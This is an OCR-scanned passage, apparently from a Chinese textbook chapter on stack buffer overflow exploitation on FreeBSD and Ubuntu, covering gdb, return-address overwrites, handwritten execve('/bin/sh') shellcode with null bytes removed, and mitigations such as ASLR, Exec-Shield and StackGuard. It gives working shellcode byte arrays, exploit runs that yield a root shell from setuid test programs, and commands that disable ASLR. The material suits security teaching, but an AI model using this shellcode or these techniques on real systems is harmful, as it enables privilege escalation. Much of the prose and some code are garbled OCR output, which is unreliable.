ret BRI 211 12 R B 7
.size func, .-func
.p2align 4,,15
.globl main
.type main, @function
main:
leal 4 (%esp), %ecx
andl $-16, %esp
pushl -4 (%ecx)
pushl %ebp
movl %esp, %ebp
pushl secx
subl $12, %esp

movl $3, 8 (%esp) H3I3ZH
movl $2, 4 (%esp) Fo5H

movl $1, (%esp) EAR T
call func P4 func R
movl 50, %eax

addl $12, %esp

popl secx

popl %ebp

leal -4 (%ecx), %esp

ret

.size main, .-main

.1dent "GCC: (GNU) 4.2.2 20070831 prerelease [FreeBSD]"

f£ C IEF ARG int BSAL, AV GWiE 5 248 call fune Z AIAFCEIRR . R IXHLN
NS AEH] push 354, (HIGREFEAH A

VR HORA BRI TV



push $3 // esp-=4, ¥§3i%ANesp+0
push $2 // esp-=4, ¥2i% ANesp+0
push $1 // esp-=4, $1i%ANesp+0

V' eR R I N AR B T 2

subl $12, %esp // esp-=12

movl $3, 8(%esp) // F3i%(ANesp+8
movl $2, 4(%esp) // Fi2ikANesptd
movl $1, (%esp) // ¥G1iENesp+0

K SHAMG, W call Fa 2 H TR

I jmp ANJF, call A250EAE I 4736 A b, DRI AR B 1) 7 R 7 b ik 2 i, 75 2
e IR [Pl (ret_addr) push 2.

R H] func PRI, AEBEEE 2 pR AR IGHLUIE KRR, HeTE 2 T E PR,

ret addr $1 £2 £3

[ FfRLL ) [ NEF=R)

NG, FEFP XAAT T pushebp.
K, esp ARSIk, A eRAC N HI R JR) BB AR 0 S N A A TR



a &buff | %ebp | ret_addr $1 $2 $3

[ NTFIRAL ) (NFEi)

X, R BRI T RS RS B buff BN AR, S RAAT A ?

21 buff J5 [H ) Y%ebp. ret addr DL AR 62 func pRET 2 BUAR 2 i H 0 B0 78 5 4 o
XA AET, —H %ebp il ret addr #578 did, K91 EAE R . ret_addr 7757
SERBOZ RS R G R 0] main BB H bRk, ok R, WERE W T ret addr, Bl mial
DLiEFE ke 2E Rl . an R BB 2 —BoIS, SR JE 1R P kEs B X BeARIE,
AR T R S B T n] BATAE R A IR

3.1.6 JH gdb & FE P Iia AT I 11 O

I TRTERATT R SR WLAE — T IR [0 Mk S e g S R

M, BATTFEAE T —IUE edb BT H . gdb &7F UNIX KEE RS H F RS, A

ee AT TR, IR Z0E a4 A . READLAGESR gdb W
Ve, HESGICAE 2w R & mils .

=Y
&

e W]

r BATREY (T LLE AR 17240
b BEEW AL A S Lk il
c FEWT KRR RIS GRS AT R

X[ BT i | RO R AT R S

disas [A I

B KR Ho

X[ 7 Ix PR AT e hE R A7 AR 24
K AL AN N §

I I I




x/[ HF 1s

S Y = W VN =S Sk 6

ir BoR AR

set ) B AF AR BN AF 5 NHE
FERR

q

XTI, B Rm EE RN, XA y TSR IR

M gdb XRE P REAT IR B PRk
VR R I AR N S B 8 45 gdb

$ gdb test00

V F gdb $E4 2) HEABERE L

(gdb) attach 1111
Attaching to process 1111

i FAT T AR 2R 7 20 gdb K5 3l sample3.

v 2477l

$ gdb sample3

GNU gdb 6.1.1 [FreeBSD]

(gdb) disas cpy I Ficpy

Dump of assembler code for function cpy:

0x08048540 <cpyt+0>: push %ebp
0x08048541 <cpyt+l>: mov %esp, sebp
0x08048543 <cpyt+3>: sub $0x48, Sesp
B

0x080485b0 <cpy+112>: mov Seax, (%esp)
0x080485b3 <cpy+115>: call 0x80483ec < init+1l6>
0x080485b8 <cpy+120>: mov $0x0, $eax

0x080485bd <cpy+125>: leave

0x080485be <cpy+126>:  ret IR[VIFH LR E AN E
0x080485bf <cpy+127>: nop

End of assembler dump.

(gdb) b *0x080485be i JTIIR AR 15 B W7 s

Breakpoint 1 at 0x80485be

(gdb) b cpy TEcpy Tk BB WT A



Breakpoint 2 at 0x8048546
(gdb) r "\ python -c

Starting program:
/usr/home/guest/sample3 " python -c 'print "A"*80'""
(no debugging symbols found)...
(no debugging symbols found)...

'print "A"*80'\'" I&{T

Breakpoint 2, 0x08048546 in cpy ()

(gdb) x/8x $ebp ffitksebp. ret addrFIZS#

Oxbfbfebf8: Oxbfbfec08 0x080485el Oxbfbfedb0 Oxbfbfec20
Oxbfbfec08: Oxbfbfec38 0x080484b7 0x00000000 0x00000000
(gdb) x/1s Oxbfbfedb0

O0xbfbfedb0: 'A' <repeats 80 times>

(gdb) ¢ MBLEAT

Continuing.

Oxbfbfebb8

Breakpoint 1, 0x080485be in cpy ()
(gdb) x/8x Sesp ret addrfit’5H0x41414141

Oxbfbfebfc: 0x41414141 0x41414141 0x41414141 Oxbfbfec00
OxbfbfecOc: 0x080484b7 0x00000000 0x00000000 Oxbfbfec38
(gdb) si

0x41414141 in 272 ()

X H A E AT LR LR

o Oxbfbfebf8 [1]{H & %ebp
e Oxbfbfebfc [¥]{H°4 ret_addr
o Jo Il AL I 45 bR AL I 24K

sample3 ) cpy B —A> str 2240, RILE RN E B ret_addr.

butf[64] Y%ebp | ret_addr str

AREHEES

IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII!..'

[ WFFRLL ) SEEa= v




EIXH, T cpy g S buff A8 ik H, PR S T P A7 2 ) B 4 9 78 o 4o

Oxbfbfebfc IMEM NS K 0x41414141, KFIHYFEFIE1TE] 0x080485be [ ret eI, Bk
2] 0x41414141 X/ HuhE, 520 Segmentation fault,

R BATIAE buff FHAEA —SEHLaSE F16%, AR AR PR Oy IX S e i bk, JXFF it )
BTSRRI S T .

3.1.7 Bl A s A5
WMo, BaEE S ENBATH AR ? LEIRATRE — M9 1
Wk 2 B HAT ARSI AE shellcode. KIA—Bokwi, HEJHE) T /bin/sh, Wi H BLEEW 564

FEHITEHL, MUk shellcode  $RAUAUE —BARR RN S 1S, ERIDhRes2E 3l
/bin/sh,

NS BRES 5 Bl /bin/sh HIREFR .
V sample5.c

#include <unistd.h>

int main (void)
{
char *datal2];
char sh[] = "/bin/sh";

data[0] = sh;
data[l] = NULL;

execve (sh, data, NULL);
return 0;

BATIFE A B —A~ char URFRETEA, SRJSAE data[0] HPAF A /bin/sh “FAF B TR, 1/ data[1]
HAEAN NULL. T /bin/sh AT ESE, KL data 0 AT ERA 08008 T

execve MZEN T 3 14,

e /bin/sh 77 H 11 F5 £
o BLE AR TR T 1S E0UAE N I B 1 3l bt
o INEAF &

XA AR ALY, R ERAT R L5 NULL.



/bin/sh NFFESH, K data " RAEHL T /bin/sh F4F B R4 ET

Vv 47 sl
$ su
Password:

# gcc -Wall -static sampleb.c -o sampleb
# chmod 4755 sample5

# exit

exit

$ ./sample5

# whoami

root

HT sampleS &K SRR BEN, I execve A WAL T o] AT XN ] gdb Xif
execve iﬁﬁ&‘ﬂ:éﬁ, TATT LA BL AR A T int $0x80.

\EEAwN

$ gdb sample5

GNU gdb 6.1.1 [FreeBSD]

(gdb) disas execve

Dump of assembler code for function execve:

0x080484f4 <execve+0>: mov $0x3b, $eax
0x080484f9 <execve+5>: int $0x80 ARG
0x080484fb <execve+7>: Jb 0x80484ec < set tp+l2>

0x080484fd <execve+9>: ret
End of assembler dump.
(gdb)

int $0x80 s&— MRS H »

TATEH/ AT H mov $0x3b,%eax 5842, ‘B HIIIREERF 0x3b fFA eax FFfrav. Kbr L,
XAMEE execve KRG M5, RENZSRIT XA %5 KIRMA R RS

ML, ATAYRE — M HAL— LR GE  H%5

V /usr/include/sys/syscall.h

/*
* System call numbers.
*

* DO NOT EDIT-- this file is automatically generated.
*/



#define SYS syscall 0
#define SYS exit 1
#define SYS fork 2
#define SYS read 3
#define SYS write 4
#define SYS open 5

i

#define SYS ioctl 54

#define SYS reboot 55

#define SYS revoke 56

#define SYS symlink 57

#define SYS readlink 58

#define SYS execve 59 59 -> 0x3b
#define SYS umask 60

#define SYS chroot 61

ARG M5 R .

e 1: exit

o 2: fork
e 3: read
o 4: write

DLEZEHE, BATTRIN 59 XIS execve, ¥ 59 Bedf k175 BRI & 0x3b T
R —4¢, £ Linx KRG, R0 B9 5 € AL T N A SO

V /usr/src/linux/include/asm/unistd.h

#ifndef ASM I386 UNISTD H
#define ASM I386 UNISTD H

/*
* This file contains the system call numbers.
*/

#define NR exit 1

#define _ NR fork

#define _ NR read 3

B

#define  NR execve 11

1F Linux 97, execve %58 11,



H T RGWH G5B SN EAFR, FHAETIE shellcode [ IHABR TF Z2RE T =
Per)thUl, BE—FERERS L shellcode #BAAAHIA], PRI 2L A R A PSS AR 5 /E AH N 11
shellcode (48K, 8 5 BEIATESA4H Metasploit L H., #l e ] LLHB)A K shellcode)

3.1.8 A n] HAE shellcode [FI AL #85iE = (L 15
TR AR sampleS kA2 AT FI1E shellcode MIHLASTE 5180,
\ X AWIN

$ gdb sample5
GNU gdb 6.1.1 [FreeBSD]

(gdb) disas main

Dump of assembler code for function main:

0x08048210 <main+0>: lea 0x4 (%$esp) , %ecx

0x08048214 <main+4>: and SOxfffff£f£f0, Sesp

0x08048217 <main+7>: pushl Oxfffffffc(%ecx)

0x0804821a <main+10>: push Sebp

0x0804821b <main+11>: mov %esp, sebp

0x0804821d <main+13>: push secx

0x0804821e <main+14>: sub $0x24, %esp

0x08048221 <main+l17>: mov 0x806cdd8, seax

0x08048226 <main+22>: mov 0x806cddc, $sedx

0x0804822c <main+28>: mov Seax, Oxffffffec (%ebp)
0x0804822f <main+31>: mov Sedx, Oxff££f£££0 (%ebp)
0x08048232 <main+34>: lea Oxffffffec (%ebp), seax
0x08048235 <main+37>: mov %eax, Oxfffffff4 (Sebp)
0x08048238 <main+40>: movl $0x0, O0xfffff££8 (%ebp)
0x0804823f <main+47>: movl  $0x0,0x8 (%esp) FEIZH
0x08048247 <main+55>: lea Oxfffffffd (%ebp), $eax
0x0804824a <main+58>:  mov %eax, 0x4 (Sesp) EIE 2
0x0804824e <main+62>: lea Oxffffffec (%ebp), $eax
0x08048251 <main+65>:  mov Seax, ($esp) F1ZH
0x08048254 <main+68>: call 0x80484f4 <execve> HiHexecve
0x08048259 <main+73>: mov $0x0, $eax

0x0804825e <main+78>: add $0x24, %esp

0x08048261 <main+81>: pop Secx

0x08048262 <main+82>: pop Sebp

0x08048263 <main+83>: lea Oxfffffffc(%ecx), %esp
0x08048266 <main+86>: ret

(gdb) b *0x08048254

Breakpoint 1 at 0x8048254

(gdb) r

Starting program: /usr/home/guest/sample5

Breakpoint 1, 0x08048254 in main ()

(gdb) x/8x $esp Thikexecve 1S5
Oxbfbfecd40: Oxbfbfec54 Oxbfbfec5c 0x00000000 0x00000001
Oxbfbfec50: 0x00000025 0x6e69622f 0x0068732f Oxbfbfec54
(gdb) x/1s Oxbfbfecb54 sh = "/bin/sh"
Oxbfbfec54: "/bin/sh"
(gdb) x/2x Oxbfbfec5c data
Oxbfbfec5c: Oxbfbfec54 data[0] = "/bin/sh"
0x00000000 data[l] = NULL

ATLE T execve LT (0x08048254) Ve E Wik, Wik — NI N IEIRE



esp = bfblfecdd

£ /

bibfecs4 | bibfeche | COQ00CA0 | 000CACOT | 00Q00CZb T /bin IS

bibtecdd bipfecdd bibfecds bfbfecdc bfbfechQ Lfbhltechbd bDibfechs8

bfisfech4 |00000000

bfbfeche bfblect

execve e —NSE, AR

o 51 3%: Oxbfbfec54 (/bin/sh ]l
o 52 Z4: OxbfbfecSc (/bin/sh FjHuIELL K 750 NULL (1) %40)
e %324 0x00000000 (NULL)

IAETATO L% sampleS.c il TR SR HSILF T .

Oxbfbfecdc 1 Oxbfbfec50 M{H 5 execve MR TEIC, KIBLIRATA] UK A T4, T 2341
1338 7 — BRI NAAIC R, W R,



esp = bffecd(

bibfecdc | bibfech4 | 000000001 /oin /sh\0 | bibrecdc | 00000000

thfecd( bibhfecdd bibfecd8 bfbfecdc bibtech( bfbfechd bfbfechS

A 21740 R

PRk, BATRGIS — B G SR, 05 LAY S AT esp DUSIGLE, JFIHT

€XCCVCeCo
NI sample6.s 23 WA H B AN H execve Iz A, 2RJ5HAT int $0x80.

V sample6.s

.globl main
main:
xorl %eax, %eax
pushl %eax data[l] (NULL)
movl %esp, %eax
subl $0x0c, $eax
pushl %eax data[0] (/bin/shifjHbb)
movl %esp, %ebx
pushl $0x0068732f F4FH”/sh\0”
pushl $0x6e69622f T4iH
movl %esp, %edx
xorl %eax, %eax

pushl %eax FIZH

pushl %ebx Fo

pushl S$edx F1SH

pushl %eax callffjiR [mlstht CoTRLAERAD
movb $0x3b, %al

int $0x80

N HEATTH] objdump R _E AR B S
V 2477

$ gcc -Wall sample6.s -o sampleb



$ objdump -d sample6|grep \<main\>\:
080483c4 <main>:

80483c4: 31 c0 XOr
80483ch6: 50 push
80483c7: 89 el mov
80483c9: 83 e8 0Oc sub
80483cc: 50 push
80483cd: 89 e3 mov
80483cf: 68 2f 73 68 00 push
80483d4: 68 2f 62 69 6e push
80483d9: 89 e2 mov
80483db: 31 c0 XOor
80483dd: 50 push
80483de: 53 push
80483df: 52 push
80483e0: 50 push
80483el: b0 3b mov
80483e3: cd 80 int

PRI BN g ZEAFIA— X BAIL A 1A

-A 16

%eax, seax
Seax
%esp, seax
$0xc, $eax
%eax
sesp, sebx
$0x68732fF
$0x6e69622f
%esp, sedx
%eax, seax
%eax

$ebx

%edx

%eax
$0x3b, %al
$0x80

=AU R K RE

RN E SS9 S T TR .

V sample7.c

= {

unsigned char shellcodel[]

0x31, 0xcO0, //
0x50, //
0x89, 0xe0, //
0x83, Oxe8, 0x0c, //
0x50, //
0x89, Oxe3, //
0x68, Ox2f, 0x73, 0x68, 0x00, //
0x68, Ox2f, 0x62, 0x69, Ox6e, //
0x89, Oxe2, //
0x31, 0OxcO, //
0x50, //
0x53, //
0x52, //
0x50, //
0xb0, 0x3Db, //
Oxcd, 0x80, //

}i

int main (void)

{
void (*p) (void);
p = (void(*) ())shellcode;
p();

return 0;

AN

Xor %eax, %eax
push
mov %esp,
sub $0x0c,
push
mov %esp, %ebx
push $0x68732f
push $0x6e69622f
Sedx

%eax

%eax

%eax
%eax

%eax

mov %esp,
XOor
push
push
push
push %eax
mov $0x3b,
int $0x80

$eax,
%eax
Sebx
Sedx

%al

He 4% shellcode FJIRE. FATT AT LLFIH



$ su

Password:

# gcc sample7.c -o sample?
# chmod 4755 sample?7

# exit

exit

$ ./sample?

# whoami

root

FERILATIF] shellcode %) T -

HERIX B Las v S A N HARFE T I i il HePpuT, AT EE I AR A HIRLT .
3.1.9  Xf 0x00 f¥) ek

SR, _LIANIXEBE  shellcode HSZIATGiERRIRXAS  sample3 A ATZE:, XEB W HEHIT
0x00, 7F sample3 ', K HIEHE A T strepy BREL XN RES A 0x00 KA Wi 245 B [ &5
FEo RIY shellcode H [A] HE L 0x00 B, strepy it Tk e 4& 3 52 1l shellcode MIEHE T -

N T RPEXA AR, BT 175 224 shellcode HEAT—2800 T,

sample6 11, {EXT AT /sh\0 2547 push 77 HEL T 0x00.

80483cf: 68 2f 73 68 00 push $0x68732f
80483d4: 68 2f 62 69 6e push $0x6€69622f

XA G IR Z R T, — ORI 7%,

o ¥4 /bin/sh I 4 /bin//sh LLEZE 55 8 A F T8
o {EHI[fI5E push $0

REZ T —ADRIAL, BRI EIPASEARE. ik, FATa L /sho i
A /lsh, IXAEBUEIHE K T push HLHTK 0x00.

NG, FRATAT A xor Al push AHZE G HITVE 2, AR IR — 0x00 1E 4 FFF B 45 BB bR
&, IXFEFRATEE e A8 B B A Hr ke A B 0x00 T

2 X HL AR, I SE A FEREREAT xor B SS9 2 0x00, IXAEmt T LU S /e AU T ERE 0x00. —— 41T



V sample8.s

, %eax

, %eax
0, %eax

, %ebx
, %eax

push 0x00000000
$0x68732f2f pushF-fFei"//sh"
$0x6€69622f pushTfFH"/bin"

, %edx
, %eax

$0x3b, %al

.globl main
main:

xorl %eax
pushl %eax
movl %esp
subl $0x1
pushl %eax
movl %esp
xorl %eax
pushl %eax
pushl

pushl

movl %esp
xorl %eax
pushl %eax
pushl %ebx
pushl %$edx
pushl %eax
movb

int $0x8

vV 2477l

0

$ gcc -Wall sample8.s -o sample8
$ objdump -d sample8|grep \<main\>\: -A 18
08048404 <main>:

8048404:
8048406:
8048407:
8048409:
804840c:
804840d:
804840f:
8048411:
8048412:
8048417:
804841c:
804841e:
8048420:
8048421:
8048422:
8048423:
8048424:
8048426:

V sample9.c

31
50
89
83
50
89
31
50
68
68
89
31
50
53
52
50
b0
cd

cO

el
e8 10

e3
cO

2f 2f 73 68
2f 62 69 6e
e2
cO

3b
80

unsigned char shellcodel[]

Xor
push
mov
sub
push
mov
Xor
push
push
push
mov
XOr
push
push
push
push
mov
int

$eax, seax
%eax

%esp, $eax
$0x10, $eax
Feax

%esp, sebx
Seax, seax
%eax
$0x68732f2f
$0x6e69622f
%esp, %edx
%eax, seax
Feax

Sebx

Sedx

%eax

$0x3b, $al
$0x80



0x31, 0OxcoO, // xor %eax, %eax
0x50, // push %eax
0x89, 0OxeO, // mov %$esp, %eax
0x83, 0Oxe8, 0x10, // sub $0x10, %eax
0x50, // push %eax
0x89, 0Oxe3, // mov %esp, %ebx
0x31, 0OxcoO, // xor %eax, %eax
0x50, // push %eax
0x68, 0x2f, 0x2f, 0x73, 0x68, // push $0x68732f2f
0x68, Ox2f, 0x62, 0x69, Ox6e, // push $0x6e69622f
0x89, Oxe2, // mov %esp, %edx
0x31, 0OxcO, // xXor %eax, %eax
0x50, // push %eax
0x53, // push %ebx
0x52, // push %edx
0x50, // push %eax
0xb0, 0x3b, // mov $0x3b, %al
Oxcd, 0x80, // int $0x80

}i

int main(void)

{
void (*p) (void);
p = (void(*) ())shellcode;
p();

return 0;

AN

$ su
Password:

# gcc sample9.c -o sample9
# chmod 4755 sample9

# exit
exit

$ ./sample9

# whoami
root

XAEFRATTNY shellcode WLIEHL 1> P LALE exploitpy T HE T .
N IX BRI $6 A 21 sample3 N AR H, SRR R Bl HLHESCA shellcode R AR HiLkE,

ATl n] ISF IR SRR T

V 2477l

$ gdb sample3
GNU gdb 6.1.1 [FreeBSD]
(gdb) b *0x080485be

TEcpy R4 R ret 84 A ¥ BT A



Breakpoint 1 at 0x80485be

(gdb) r " “python exploit.py bfbfebc8™"
Starting program: /usr/home/guest/sample3
"“python exploit.py bfbfebc8™"

(no debugging symbols found)...

(no debugging symbols found)...

Oxbfbfebc8
Breakpoint 1, 0x080485be in cpy ()
(gdb) x/8x $esp SRR A H Ak

OxbfbfecOc: Oxbfbfebc8 0Oxbfbfed00 Oxbfbfec30 Oxbfbfec48
Oxbfbfeclc: 0x080484b7 0x00000000 0x00000000 Oxbfbfec48
(gdb) x/24i Oxbfbfebc8 KR [ HAxhEAL ¥ AT I g

Oxbfbfebc8: XOor $eax, seax
Oxbfbfebca: push Seax
Oxbfbfebcb: mov %esp, seax
Oxbfbfebcd: sub $0x10, $eax
OxbfbfebdO: push %eax
Oxbfbfebdl: mov %esp, sebx
Oxbfbfebd3: XOTr %eax, $eax
0xbfbfebd5: push Seax
Oxbfbfebd6: push $0x68732f2fF
Oxbfbfebdb: push $0x6e69622f
Oxbfbfebel: mov %esp, sedx
Oxbfbfebe2: XOr %eax, seax
Oxbfbfebed: push %eax
Oxbfbfebeb: push sebx
0xbfbfebeb6: push Sedx
Oxbfbfebe7: push Seax
Oxbfbfebe8: mov $0x3b, %al
Oxbfbfebea: int $0x80

AT e K iy 3 [] H et ik 2 AR B T AT THY shellcode

UL, sample3.c fFizfTH = T~ shellcode HIHBhE, BByix HJg—ANJ7(H AT B B 7~ B
JPo SEBREOLT, FATAHIE shellcode A7 T H bR RE (WA Hbtik, DRI H REEATHED

AR, B R T T DU R, DR AT LU A A 7451 8 NOP (0x90)
H5 4, ARIEA% shellcode T7E RS  CRER AT LR B shellcode BT HIME .

FAN, HTFXRBATHEE strepy PR, R R #2045 0x00 sl LLT, {HAG LS4 256k
TR EZ MRS, Bl R 3 r b T NATIXFERE L, W& — B TR AT
T R 8 AT EE KRS shellcode HEAT TR 25T .

WAE —$g, TR TEAERGEENG T — Lz, DR A% 4 i 22 o X HH A
e MNEH T

LA printf 38 B AU T AT A A (4L bug
T A=A AT ARR MR 4 8 printf 28 e 500 745 H2 4% 54k bug.
A, WR A printf (S ECH GG G EEE, wie] LA TAE AR .



#include <stdio.h>
void main (int argc, char *argv[])
{

printf (argv([1l]);

HARH R ERRA A X FLIC A, () R UG, printf SEpRE, 45— MREIR A U 04T
%n, ‘& 0] LR ZECH R PR OO E SN AT S AR . A Y%en, FATTmin]
LA AR ik 5 AR R

AGEpP D A B, IXANRIABAA A &, (HHBGETAARE A RE, A 281K
Fu UM EEAE



3.2 B X HE AR
3.2.1 HihEREAL4L: ASLR

FAVARAETH KPR ], AN AR 2 b D L R LR AR WL ], A5 el 354
RGN G B4 1) 22 A LR X e ?

BT ERFE, AP T2 flifil.  H k2 BaRiE R T LepLil,
I HIAS T AR . R B T8E I 76 Ubuntu 12.04 RS KRG — B IX L8 22 2L

1 5CIRAIKEE ASLR (Address Space Layout Randomization, Hiht=s [0 4 JRBEML4L) - ASLR
JE— AR B ShAS RS WA A I S R EE (2D AT BENLECE IHLH]

ASLR JE& T EAE RGN TIRE, HlAndE Ubuntu 12.04 o, FRATTAT BAIE
/proc/sys/kernel/randomize_va_space KT HAMENIX —ikE . VIHE] root HF', BTy
2o

\EEAwN

# cat /proc/sys/kernel/randomize va space

2 JBH: Bk

# echo 0 > /proc/sys/kernel/randomize va_ space
# cat /proc/sys/kernel/randomize va space

0 2EH

H cat 5% &% randomize va space MI{E, A4 R ATEEAE 0. 1 80 2. fajHokut, &4l
5 S R s

o 0: ZEH]

o 1: FRUELLAMBEMLAL

o 2: FRHHLIL (BRI

FATAT LLIE R T AR RN — T ASLR IRCR (JARAS W, chap03\Ubuntu 12.04 x86)
XAFEFR AT, B2 B HUF malloc 232 A P A7 25 Ta) M ik DL Sk Py bk

V¥ test00.c

#include <stdio.h>
#include <stdlib.h>

unsigned long get sp(void)
{



asm ("movl %esp, %eax");

}

int main (void)

{
printf ("malloc: %p\n", malloc(16));
printf (" stack: 0x%1x\n", get sp());
return 0;

T2l ASLR HPIRZS K, REBIBITIXAMREERF, BATS RIVERR W kA AN ) o
\E RN

$ gcc test00.c -o test00

$ ./test00

malloc: 0x886e008 H51{k: HE
stack: Oxbff775£8 757
$ ./test00

malloc: 0x86f7008 ZH2¢k: HE
stack: Oxbfe34dc8 %
S ./test00

malloc: 0x940e008 H53{k: HE
stack: Oxbffc45b8 157

T AR eI ke, BATTH A TCIA KNI shellcode ) H A HIE T o
I_Hqéﬁﬁﬁl}?" ﬁD%fﬂW% ASLR E/]’]j(/u‘l:‘gﬁji’ ]}_”J 71* H T,mo
\ XN

$ sudo su
[sudo] password for guest:
# echo 0 > /proc/sys/kernel/randomize va space

# exit

exit

$ ./test00

malloc: 0x804b008 ZH1Vk: HE
stack: Oxbffff768 757

S ./test00

malloc: 0x804b008 Hi1vk: HE
stack: Oxbffff768 057

$ ./test00

malloc: 0x804b008 ZF1ik: HE
stack: Oxbffff768 05



Jebl ASLR J&, BATRBTUEIT LA, Bk M AR 5 AR 1. R iBA kB —
AGRFET test0], BT BRI IR, S 2 stopy R4 TS E0 RN
PR

\EEAFN

$ ./test0l “python exploit.py "bffff720"" aaaabbbbccccdddd
OxbEEEE710 A

Illegal instruction

$ ./test0l1 “python exploit.py "bffff710"" aaaabbbbccccdddd
OxbffE£710 AH[H

# whoami

root

# echo 2 > /proc/sys/kernel/randomize va_ space

# exit

exit

$ ./test01 “python exploit.py "bffff710"" aaaabbbbccccdddd
0xbf91c5d0 A[H

Segmentation fault

$ ./test0l “python exploit.py "bf91c5d0"" aaaabbbbccccdddd
0xbfbde6d0 A

Segmentation fault

MJEH ASLR I, test0l Pt B s Hbbb R A R, BRI, FATTEZR IEmf i kA% 3B 45
exploit.py, WAL ICIZEBINZFERGAIR T .

X2 ASLR [R5,

3.2.2  BRAABOTHATARIE I N AF SR BLAN, XA WA 2SR R =22 PATHUR :  Exec-Shield
Exec-Shield & — i iz« R il P A7 2 18] 52 5 AP AT BLBR K B A 2 R HL ) o

ZEAB T, TS T RAIASTLE FAER I A7 23 0] AR O BT ML R S AR, BRIk
TR LB 23 18] (R A B V38 A Al S B H AN A HAT . O kit, 7EACHS X8 A i LSS E = A
i, JEEEN FEATEEESITREHTRE, B IRAT AT LU X 5B 4 W AE IR 3B AN A
BH N,

XK, BRI FRATTRS shellcode SR, R B TIEAT, Ak
Segmentation fault, 5 &R 1HIEAT .

BAE RGP A AP R N AR S R 5 A PATRR ,  7ERE s AT I 4
/proc/<PID>/maps i AJ L T .

\ X RN

# ps -aef | grep test02
root 1035 786 0 08:36 pts/0 00:00:00 ./test02
guest 1037 937 0 08:36 pts/1 00:00:00 grep --color=auto test02



# cat /proc/1035/maps | grep stack
bfdcc000-bfded000 rw-p 00000000 00:00 O [stack]

test02 /& testO1 ML= Exec-Shield 2 J5 HIRAS, bk =% 0] 4 bfdcc000 ~ bfded000, FAlIn] LA
ER'CHIRR A rw-p, EWHARKPATERAT x.

ATk 23— Exec-Shield HIR A .
\ X RN

$ ./test02 “python exploit.py "bffff710"" aaaabbbbccccdddd
Oxbfff£f710

Segmentation fault

S N P EE R e —3%, (HSGTE 2RI T .

ASLR [ 2B 1 X 3 55 b Huhl, 10 Exec-Shield NI J&ZE bl —8UrEm R, Kt
EPAT A N E S A .

B —3%, WRBATER—F test0l H) /proc/<PID>/maps M1, KL< K HAR 2 0] 77 A 4
ITRUR . XL testOl A1 test02 X AIFTAE. EARSE—20 T#IITE, KK URXEtE—F
test01.s I test02.s,

3.2.3 G PRI R I AR B B e MR 14X S ;. StackGuard

StackGuard & — i 7E Gt 18 IR 7E 2 BREON VRIS 1 A A I A Bl 58 B v OB L 2 1 5 A0
Wk, el T g0 Eas 1 Ll .

BAPRE T HmH .
\E AN

$ ./test03 “python -c 'print "A"*100'"

Oxbfb8ea4dl

*** gstack smashing detected ***: ./test03 terminated

======= Backtrace: =========
/1ib/i386-1inux-gnu/libc.so.6( fortify fail+0x45) [0xb766d0e5]
/1ib/i386-1linux-gnu/libc.so.6 (+0x10409a) [0xb766d09%a]
./test03[0x8048515]

[0x41414141]

======= Memory map: ========

08048000-08049000 r-xp 00000000 08:01 1061 /home/guest/test03



08049000-0804a000 r-xp 00000000 08:01 1061 /home/guest/test03

0804a000-0804b000 rwxp 00001000 08:01 1061 /home/guest/test03
08352000-08373000 rwxp 00000000 00:00 O [heap]

g

bfb6f000-bfb90000 rwxp 00000000 00:00 O [stack]

Aborted

fEJ5 H ASLR 5{ Exec-Shield I, AR P4s=4: Segmentation fault, {H StackGuard Wik
testO3 Fr Il B & 57w, I EahiEikistr.

test03 AL Xkt I, Ak N & A d N, StackGuard AR AE R I 211X —
R %HzT stack smashing detected 71 &, 52 LR P87

WATE—F test03.s PIACHT, HUEEWE 4L 2 9n PR8N NI StackGuard 1XAE

V test03.s
main:
pushl sebp
movl %esp, %ebp
andl $-16, S%esp
subl $64, %esp
movl 12 (%ebp), %eax
movl %eax, 28 (%esp)
movl %gs:20, %eax BIRIEITIN S gs : 20 A AN — AN BlHLEL
mov1l Seax, 60 (%esp) IFRENUEZS MBI H)E
xorl $eax, %eax
call get sp
movl $.LCO, %edx
movl %eax, 4 (%esp)
movl %edx, (%esp)
call printf
call getchar
movl 28 (%esp), %eax
addl $4, %eax
mov1l ($eax), %eax
movl %eax, 4 (%esp)
leal 44 (%esp), %eax
movl %eax, (%esp)
call strcpy
movl $0, %eax
movl 60 (3esp), %edx FHRMIEJE —ME
xorl %gs:20, %edx Hegs: 20075 Lk
je .L5 W —BONBEEE . 15
call _ stack_chk fail TRk SIHREIZ AR
.L5:
leave
ret

%gs:20  AEBRHIREFISATIN AR AF NN BENLEL REIXAS B ) 21 e AL AL H] 1 ks )



K5 HT 60(%esp) ok ebp A1 ret addr, PRI AE I E AT DAGRS <8 b bk 1) B
AN E M,

PR BRI IR Bl 2 BT, FRFRE %gs:20 HIMEHS 60(%esp) BEATHEE . d0n 5 - 4 i 8] S 80
i, ebp A ret addr #7E T, 4 60(%esp) WHEB SHE R 78 &5 A 2% I, B2
BEFES)  stack chk fail, FF&IEIE4T,

faj ki, StackGuard HLHIFITIRI /2 ebp A ret addr, A& —FPat X A kL 22 v X s H B0l
I 1B o

Ubuntu 12.04 1] gece H, EwmiFHR BRIAS ML StackGuard 184, #4%H] StackGuard 75 200 L -
fho-stack-protector 3%



3.3 TP NI R
3.3.1 i [ libe HH YRR HCK AT B . Return-into-libe

ASLR. Exec-Shield. StackGuard 55 &HHIANE R T REM 2N, AR IFARIET
A 1) 2 IRIAE C L TSR T o

L FATF RIS A Reoeid i 2o 22 LR & B Bk, Horp—F 77 /& Return-into-
libco

Return-into-libc /&P fi#  Exec-Shield 7k, ‘& W& BI{E TLVERATAE =AY
(shellcode) , & HERWIZITEEIET, WAL ARSEIR,

Return-into-libc E’ﬂij—‘r SIS RS HONER I BCE., IR Re e Bkd% 2 libeso 1Y
system PAELLL & exec FRRE, I KIZAT /bin/sh 25727 .

FATRT LA 1dd 2 BB T AEIZ AT I BN g i 2 .
\E AN

$ 1dd /bin/sh
linux-gate.so.l => (0xb774e000)
libc.so.6 => /1lib/i1386-1linux-gnu/libc.so0.6 (0xb759e000)
/1lib/1ld-1linux.so0.2 (0xb774£000)

JLF A IR PR S AT I 2 INZE libe.so, B /LG PRI HEATHS R Rk, HZE3RAT]
Reig i H libe 1) system BRI EUFT exec ZRBAEL, BLRENE IR SRR o

i KZKAERH] ASLR HPIRA MgAT FHTAY 2
\E X EN !

$ gdb test02

GNU gdb (Ubuntu/Linaro 7.4-2012.04-0Qubuntu2.1l) 7.4-2012.04
(gdb) b main

Breakpoint 1 at 0x8048461

(gdb) r

Starting program: /home/guest/test02

Breakpoint 1, 0x08048461 in main ()

(gdb) p system

